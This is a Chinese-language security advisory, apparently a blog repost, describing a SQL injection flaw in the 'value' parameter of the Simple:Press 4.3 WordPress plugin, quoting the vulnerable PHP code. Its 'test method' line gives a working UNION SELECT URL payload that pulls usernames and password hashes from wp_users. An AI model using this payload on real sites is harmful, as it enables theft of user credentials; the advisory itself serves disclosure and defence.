WordPress Simple:Press插件value参数SQL注入漏洞

受影响系统:

WordPress Simple:Press 4.3

描述:

WordPress是一款免费的论坛Blog系统。

WordPress所使用的Simple:Press插件没有正确地过滤用户在搜索字段所输入的搜索变量便注入到了SQL查询中使用:

sf-header-forum.php  

—[snip]—
385        # Add Search Vars

386        if(isset($_GET[‘search’]))

387        {

388            if($_GET[‘search’] != ”) $sfvars[‘searchpage’] =
sf_esc_int($_GET[‘search’]);

389            if(isset($_GET[‘value’]) ? $sfvars[‘searchvalue’] =
stripslashes(urldecode($_GET[‘value’])) : $sfvars[‘searchvalue’] =
”);

390            if(isset($_GET[‘type’]) ? $sfvars[‘searchtype’] =
sf_esc_int($_GET[‘type’]) : $sfvars[‘searchtype’] = 1);

400            if(isset($_GET[‘include’]) ? $sfvars[‘searchinclude’] =
sf_esc_int($_GET[‘include’]) : $sfvars[‘searchinclude’] = 1);

401            if($sfvars[‘searchinclude’] == 0) $sfvars[‘searchinclude’] =1;

402            if($sfvars[‘searchtype’] == 0) $sfvars[‘searchtype’] =1;

403        } else {
—[snip]—

在389行,HTTP GET请求value被定义为全局变量$sfvars[‘searchvalue’],但在sf-database.php文件中将其注入到了SQL查询中:  

sf-database.php  

—[snip]—

401        $searchvalue=urldecode($sfvars[‘searchvalue’]);

404        if($sfvars[‘searchtype’] == 6)

409            $ANDWHERE = " AND topic_status_flag=".$sfvars[‘searchvalue’]." ";

410

411        } elseif($sfvars[‘searchtype’] == 8)

414            $userid = $sfvars[‘searchvalue’];

415            $SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";

416            $MATCH = "";

417            $ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";

418

419        } elseif($sfvars[‘searchtype’] == 9)

422            $userid = $sfvars[‘searchvalue’];

425            $ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";

—[snip]—

<*来源:Canberk BOLAT
  
  链接:
http://secunia.com/advisories/40446/
        http://www.exploit-db.com/exploits/14198/
*>

测试方法: http://server/wordpress/?page_id=4/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)–+&type=9&search=1&searchpage=2

建议:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 厂商补丁:

WordPress
———
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://simple-press.com/

发表评论?

0 条评论。

发表评论